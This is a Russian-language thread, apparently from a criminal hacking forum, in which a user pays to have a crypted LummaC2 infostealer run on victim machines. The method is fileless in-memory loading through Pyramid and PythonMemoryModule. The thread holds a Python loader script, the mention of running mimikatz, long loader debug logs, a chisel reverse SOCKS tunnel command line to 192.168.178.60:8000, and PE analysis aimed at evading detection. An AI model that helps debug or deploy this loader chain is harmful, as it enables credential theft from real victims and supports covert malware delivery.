Требуется Python кодер для единоразового решения не сложной задачи.

Статус
Закрыто для дальнейших ответов.

Криминальный

HDD-drive
Пользователь
Регистрация
23.09.2024
Сообщения
23
Реакции
8
Требуется решение в теории не сложной проблемы.
Меня заинтересовал данный метод xss.pro/threads/129570/
Поясню кратко:
Сервер github.com/naksyn/Pyramid при запросе подгружает в память victim машины модуль github.com/naksyn/PythonMemoryModule и .exe файл, далее запускает его из памяти
Для отправки запроса на загрузку c сервера используется 64bit Python embedded (portable) интерпретатор
Тестировал я это всё дело, PythonMemoryModule и exe подтягиваются, но при попытки инъекции интерпретатор выдает в консоль что не может запустить 32bit процесс
В качестве полезной нагрузки я использую закриптованный LummaC2, в их теме указанно что .exe cрабатывает на 64bit системах, не понимаю почему интерпретатор не может запустить софт
Попробовал использовать 32bit интерпретатор, процесс вроде запустился но интерпретатор крашнуло и стилер не отработал
Возможно потому что 32bit интерпретатор не поддерживает скрипты Pyramid/PythonMemoryModule или PythonMemoryModule определяет не правильно точку входа у .exe
Пробовал использовать не закриптованный .exe и сменить криптора но везде одна и таже проблема
Как возможное решение вижу заставить .exe запускаться в 64bit или адаптировать скрипты модуля под него
За готовое решение готов заплатить 30$ предоставлю linux и windows сервер если будет нужно и сам исполняемый файл для тестов.
Кто заинтересован проьба писать в Telegram @unfingerprinted
 
Возможно потому что 32bit интерпретатор не поддерживает скрипты Pyramid/PythonMemoryModule или PythonMemoryModule определяет не правильно точку входа у .exe
Все поддерживается, 32-битный mimikatz запускается успешно.

Попробуй так:
- создай новую папку
- закинь туда обе папки из репозитория и свой exe файл
- выполни скрипт, заменив EXE_NAME на свой
Код:
import pythonmemorymodule

EXE_NAME = "my_file.exe"

if __name__ == "__main__":
    with open(EXE_NAME, 'rb') as f:
        data = f.read()

    pythonmemorymodule.MemoryModule(data=data, debug=True)
- и запусти скрипт с помощью 32битного python

Если не заведется, покажи ошибку с которой упадет
 
Все поддерживается, 32-битный mimikatz запускается успешно.

Попробуй так:
- создай новую папку
- закинь туда обе папки из репозитория и свой exe файл
- выполни скрипт, заменив EXE_NAME на свой
Код:
import pythonmemorymodule

EXE_NAME = "my_file.exe"

if __name__ == "__main__":
    with open(EXE_NAME, 'rb') as f:
        data = f.read()

    pythonmemorymodule.MemoryModule(data=data, debug=True)
- и запусти скрипт с помощью 32битного python

Если не заведется, покажи ошибку с которой упадет
Сделал всё как ты и сказал, не завелось.
Вылетел мэсседжбокс python.exe - This application could not be started.
Код:
DEBUG: Reserved 393216 bytes for dll at address: 0x400000
DEBUG: Copying sections to reserved memory block.
DEBUG: Copied section no. .text    to address: 0x402000
DEBUG: Copied section no. .rsrc    to address: 0x40c000
DEBUG: Copied section no. .reloc   to address: 0x40e000
DEBUG: Copied section no. .bss     to address: 0x410000
DEBUG: Checking for base relocations.
DEBUG: Building import table.
DEBUG: codebase:0x400000
DEBUG: Found importdesc at address: 0x40a460
DEBUG: Found imported DLL, mscoree.dll. Loading..
DEBUG: Found import by name entry _CorExeMain , at address 0x402000
DEBUG: Resolved import _CorExeMain at address 0x72d0dcc0
DEBUG: Finalizing sections.
DEBUG: Found 4 total sections.
DEBUG: Section n. 0
DEBUG: size=34304
DEBUG: execute 1
DEBUG: read 1
DEBUG: write 0
DEBUG: Protection flag:32
DEBUG: physaddr:0x402000
DEBUG: Section n. 1
DEBUG: size=1024
DEBUG: execute 0
DEBUG: read 1
DEBUG: write 0
DEBUG: Protection flag:2
DEBUG: physaddr:0x40c000
DEBUG: Section n. 2
DEBUG: size=512
DEBUG: execute 0
DEBUG: read 1
DEBUG: write 0
DEBUG: physaddr:0x40e000
DEBUG: Section n. 3
DEBUG: size=512
DEBUG: execute 0
DEBUG: read 1
DEBUG: write 0
DEBUG: physaddr:0x410000
DEBUG: Executing TLS.
DEBUG: no TLS address found
DEBUG: Starting new thread to execute PE
DEBUG: Checking for entry point.
DEBUG: Calling exe entrypoint 0x40a4ae
 
Судя по тому, что exe распознался как dll, можно предположить, что в lumma как и в большинстве малвари, удален PE header и возможно какие-то другие секции PE-структуры. Это и приводит к ошибке, потому что, в pythonmemorymodule перед загрузкой файла в память выполняется парсинг и валидация PE-секций файла.
Боюсь, решение этой проблемы не такое тривиальное и обойдется больше чем $50
 
Сделал всё как ты и сказал, не завелось.
Вылетел мэсседжбокс python.exe - This application could not be started.
Код:
DEBUG: Reserved 393216 bytes for dll at address: 0x400000
DEBUG: Copying sections to reserved memory block.
DEBUG: Copied section no. .text    to address: 0x402000
DEBUG: Copied section no. .rsrc    to address: 0x40c000
DEBUG: Copied section no. .reloc   to address: 0x40e000
DEBUG: Copied section no. .bss     to address: 0x410000
DEBUG: Checking for base relocations.
DEBUG: Building import table.
DEBUG: codebase:0x400000
DEBUG: Found importdesc at address: 0x40a460
DEBUG: Found imported DLL, mscoree.dll. Loading..
DEBUG: Found import by name entry _CorExeMain , at address 0x402000
DEBUG: Resolved import _CorExeMain at address 0x72d0dcc0
DEBUG: Finalizing sections.
DEBUG: Found 4 total sections.
DEBUG: Section n. 0
DEBUG: size=34304
DEBUG: execute 1
DEBUG: read 1
DEBUG: write 0
DEBUG: Protection flag:32
DEBUG: physaddr:0x402000
DEBUG: Section n. 1
DEBUG: size=1024
DEBUG: execute 0
DEBUG: read 1
DEBUG: write 0
DEBUG: Protection flag:2
DEBUG: physaddr:0x40c000
DEBUG: Section n. 2
DEBUG: size=512
DEBUG: execute 0
DEBUG: read 1
DEBUG: write 0
DEBUG: physaddr:0x40e000
DEBUG: Section n. 3
DEBUG: size=512
DEBUG: execute 0
DEBUG: read 1
DEBUG: write 0
DEBUG: physaddr:0x410000
DEBUG: Executing TLS.
DEBUG: no TLS address found
DEBUG: Starting new thread to execute PE
DEBUG: Checking for entry point.
DEBUG: Calling exe entrypoint 0x40a4ae
В примере выше тестировался закриптованный .exe который определяется как .NET, решил попробовать запустить этим же образом голый native билд как итог 2 post запроса на прокладку люмы (Должно быть минимум 4-5) и вылезла доп. информация для дебага в консоль:
Код:
[*] In-memory loading dll chisel.exe
DEBUG: Original PEB commamdline length: 94
DEBUG: New command ommand length: 35
DEBUG: Reserved 364544 bytes for dll at address: 0x400000
DEBUG: Copying sections to reserved memory block.
DEBUG: Copied section no. .text    to address: 0x401000
DEBUG: Copied section no. .rdata   to address: 0x444000
DEBUG: Copied section no. .data    to address: 0x447000
DEBUG: Copied section no. .reloc   to address: 0x455000
DEBUG: Checking for base relocations.
DEBUG: Building import table.
DEBUG: codebase:0x400000
DEBUG: Found importdesc at address: 0x445ec2
DEBUG: Found imported DLL, KERNEL32.dll. Loading..
DEBUG: Found import by name entry CreateProcessW , at address 0x446010
DEBUG: Resolved import CreateProcessW at address 0x747ce330
DEBUG: Found import by name entry CreateThread , at address 0x446014
DEBUG: Resolved import CreateThread at address 0x747ccf40
DEBUG: Found import by name entry ExitProcess , at address 0x446018
DEBUG: Resolved import ExitProcess at address 0x747dade0
DEBUG: Found import by name entry GetCommandLineW , at address 0x44601c
DEBUG: Resolved import GetCommandLineW at address 0x747cdfa0
DEBUG: Found import by name entry GetCurrentProcessId , at address 0x446020
DEBUG: Resolved import GetCurrentProcessId at address 0x747c4820
DEBUG: Found import by name entry GetCurrentThreadId , at address 0x446024
DEBUG: Resolved import GetCurrentThreadId at address 0x747c3fb0
DEBUG: Found import by name entry GetLogicalDrives , at address 0x446028
DEBUG: Resolved import GetLogicalDrives at address 0x747d2bd0
DEBUG: Found import by name entry GlobalLock , at address 0x44602c
DEBUG: Resolved import GlobalLock at address 0x747c4830
DEBUG: Found import by name entry GlobalUnlock , at address 0x446030
DEBUG: Resolved import GlobalUnlock at address 0x747c50c0
DEBUG: Found importdesc at address: 0x445ec2
DEBUG: Found imported DLL, SHELL32.dll. Loading..
DEBUG: Found import by name entry SHGetFileInfoW , at address 0x446038
DEBUG: Resolved import SHGetFileInfoW at address 0x749bd900
DEBUG: Found import by name entry SHGetSpecialFolderPathW , at address 0x44603c
DEBUG: Resolved import SHGetSpecialFolderPathW at address 0x74a33e70
DEBUG: Found importdesc at address: 0x445ec2
DEBUG: Found imported DLL, USER32.dll. Loading..
DEBUG: Found import by name entry CloseClipboard , at address 0x446044
DEBUG: Resolved import CloseClipboard at address 0x76ca8310
DEBUG: Found import by name entry GetClipboardData , at address 0x446048
DEBUG: Resolved import GetClipboardData at address 0x76ca61b0
DEBUG: Found import by name entry GetDC , at address 0x44604c
DEBUG: Resolved import GetDC at address 0x76cadb60
DEBUG: Found import by name entry GetForegroundWindow , at address 0x446050
DEBUG: Resolved import GetForegroundWindow at address 0x76cadbc0
DEBUG: Found import by name entry GetSystemMetrics , at address 0x446054
DEBUG: Resolved import GetSystemMetrics at address 0x76c8a650
DEBUG: Found import by name entry GetWindowLongW , at address 0x446058
DEBUG: Resolved import GetWindowLongW at address 0x76c97410
DEBUG: Found import by name entry OpenClipboard , at address 0x44605c
DEBUG: Resolved import OpenClipboard at address 0x76ca70a0
DEBUG: Found import by name entry ReleaseDC , at address 0x446060
DEBUG: Resolved import ReleaseDC at address 0x76c954a0
DEBUG: Found importdesc at address: 0x445ec2
DEBUG: Found imported DLL, GDI32.dll. Loading..
DEBUG: Found import by name entry BitBlt , at address 0x446068
DEBUG: Resolved import BitBlt at address 0x76024b30
DEBUG: Found import by name entry CreateCompatibleBitmap , at address 0x44606c
DEBUG: Resolved import CreateCompatibleBitmap at address 0x76024c60
DEBUG: Found import by name entry CreateCompatibleDC , at address 0x446070
DEBUG: Resolved import CreateCompatibleDC at address 0x76024ac0
DEBUG: Found import by name entry CreateDIBSection , at address 0x446074
DEBUG: Resolved import CreateDIBSection at address 0x76027290
DEBUG: Found import by name entry DeleteDC , at address 0x446078
DEBUG: Resolved import DeleteDC at address 0x76023ed0
DEBUG: Found import by name entry DeleteObject , at address 0x44607c
DEBUG: Resolved import DeleteObject at address 0x76023940
DEBUG: Found import by name entry GetCurrentObject , at address 0x446080
DEBUG: Resolved import GetCurrentObject at address 0x76024800
DEBUG: Found import by name entry GetDIBits , at address 0x446084
DEBUG: Resolved import GetDIBits at address 0x76024af0
DEBUG: Found import by name entry GetObjectW , at address 0x446088
DEBUG: Resolved import GetObjectW at address 0x76027660
DEBUG: Found import by name entry GetPixel , at address 0x44608c
DEBUG: Resolved import GetPixel at address 0x76026a70
DEBUG: Found import by name entry SelectObject , at address 0x446090
DEBUG: Resolved import SelectObject at address 0x76024840
DEBUG: Found import by name entry StretchBlt , at address 0x446094
DEBUG: Resolved import StretchBlt at address 0x76025ab0
DEBUG: Found importdesc at address: 0x445ec2
DEBUG: Found imported DLL, ole32.dll. Loading..
DEBUG: Found import by name entry CoCreateInstance , at address 0x44609c
DEBUG: Resolved import CoCreateInstance at address 0x75d13910
DEBUG: Found import by name entry CoInitializeEx , at address 0x4460a0
DEBUG: Resolved import CoInitializeEx at address 0x75d0a720
DEBUG: Found import by name entry CoInitializeSecurity , at address 0x4460a4
DEBUG: Resolved import CoInitializeSecurity at address 0x75d24f80
DEBUG: Found import by name entry CoQueryClientBlanket , at address 0x4460a8
DEBUG: Resolved import CoQueryClientBlanket at address 0x75d8a140
DEBUG: Found import by name entry CoSetProxyBlanket , at address 0x4460ac
DEBUG: Resolved import CoSetProxyBlanket at address 0x75cf6270
DEBUG: Found import by name entry CoTaskMemAlloc , at address 0x4460b0
DEBUG: Resolved import CoTaskMemAlloc at address 0x75d2e2d0
DEBUG: Found import by name entry CoUninitialize , at address 0x4460b4
DEBUG: Resolved import CoUninitialize at address 0x75d0a770
DEBUG: Found importdesc at address: 0x445ec2
DEBUG: Found imported DLL, OLEAUT32.dll. Loading..
DEBUG: Found import ordinal entry, c_char_p(2)
DEBUG: Found import ordinal entry, c_char_p(6)
DEBUG: Found import ordinal entry, c_char_p(9)
DEBUG: Found import ordinal entry, c_char_p(8)
DEBUG: Finalizing sections.
DEBUG: Found 4 total sections.
DEBUG: Section n. 0
DEBUG: size=271360
DEBUG: execute 1
DEBUG: read 1
DEBUG: write 0
DEBUG: Protection flag:32
DEBUG: physaddr:0x401000
DEBUG: Section n. 1
DEBUG: size=9216
DEBUG: execute 0
DEBUG: read 1
DEBUG: write 0
DEBUG: Protection flag:2
DEBUG: physaddr:0x444000
DEBUG: Section n. 2
DEBUG: size=22016
DEBUG: execute 0
DEBUG: read 1
DEBUG: write 1
DEBUG: Protection flag:4
DEBUG: physaddr:0x447000
DEBUG: Section n. 3
DEBUG: size=15872
DEBUG: execute 0
DEBUG: read 1
DEBUG: write 0
DEBUG: physaddr:0x455000
DEBUG: Executing TLS.
DEBUG: no TLS address found
DEBUG: Stomping PEB
DEBUG: Current process PEB is <<windows.winobject.process.PEB object at 0x039FADA8>>
DEBUG: Original commandline: "C:\Users\Administrator\Desktop\32\python.exe"
DEBUG: Stomped commandline:  client 192.168.178.60:8000 R:socks  hon.exe"
DEBUG: Starting new thread to execute PE
DEBUG: Checking for entry point.
DEBUG: Calling exe entrypoint 0x408860
DEBUG: Restoring original commandline: "C:\Users\Administrator\Desktop\32\python.exe"
[*] Press Ctrl+C to end loop - Warning! this will end your routine and free the dll loaded.
exception: access violation writing 0x80000002
Exception in thread Thread-1 (execPE):
Traceback (most recent call last):
  File "threading.py", line 1016, in _bootstrap_inner
  File "threading.py", line 953, in run
  File "pythonmemorymodule---pythonmemorymodule/pythonmemorymodule/__init__.py", line 556, in execPE
UnboundLocalError: local variable 'success' referenced before assignment
Selection-001.png

Пробовал прогонять билд люмы софтом который пакует в RunPE, и билд отрабатывает нормально, значит всё таки секции есть? Или это другое?
Наверное есть какие нибудь пакеры которые пофиксят это, или другие костыли.
Прогнал билд PE-Сканером:

Код:
[i] Reading "chisel.exe"... [+] DONE

#####################[ FILE HEADER ]#####################

[i] Executable file detected as: EXE
[i] File architecture: x32
[i] Number of sections: 4
[i] Size of the optional header: 224 bytes

#####################[ OPTIONAL HEADER ]#####################

[i] Linker version: 14.0
[i] Image size: 364544 bytes
[i] Headers size: 1024 bytes
[i] Entry point: 0x00008860
[i] Operating System version: 6.0
[i] Subsystem: 2

#####################[ DATA DIRECTORIES ]#####################

[*] Export Table at 0x01547FA0, size: 0
                [RVA: 0x00000000]
[*] Import Table at 0x0158DE62, size: 140
                [RVA: 0x00045EC2]
[*] Resource Table at 0x01547FA0, size: 0
                [RVA: 0x00000000]
[*] Exception Table at 0x01547FA0, size: 0
                [RVA: 0x00000000]
[*] Certificate Table at 0x01547FA0, size: 0
                [RVA: 0x00000000]
[*] Base Relocation Table at 0x0159CFA0, size: 15768
                [RVA: 0x00055000]
[*] Debug Directory at 0x01547FA0, size: 0
                [RVA: 0x00000000]
[*] TLS Directory at 0x01547FA0, size: 0
                [RVA: 0x00000000]
[*] Import Address Table at 0x0158DFB0, size: 192
                [RVA: 0x00046010]

#####################[ SECTION HEADER ]#####################

[i] Section name: .text
[i] Section raw size: 271360 bytes
[i] Section virtual size: 271026 bytes
[i] Section entropy: 6.666500
[i] Section name: .rdata
[i] Section raw size: 9216 bytes
[i] Section virtual size: 9143 bytes
[i] Section entropy: 6.868290
[i] Section name: .data
[i] Section raw size: 22016 bytes
[i] Section virtual size: 55444 bytes
[i] Section entropy: 6.496640
[i] Section name: .reloc
[i] Section raw size: 15872 bytes
[i] Section virtual size: 15768 bytes
[i] Section entropy: 6.475290
[+] The file does not appear to be packed.
 
Последнее редактирование:
Актуально, заплачу 60$ Если что putty x32 тоже не запускается. Пришёл к тому что для решения задачи единственный вариант - адаптировать либу pythonmemorymodule под .exe люмы.
 
Статус
Закрыто для дальнейших ответов.
Верх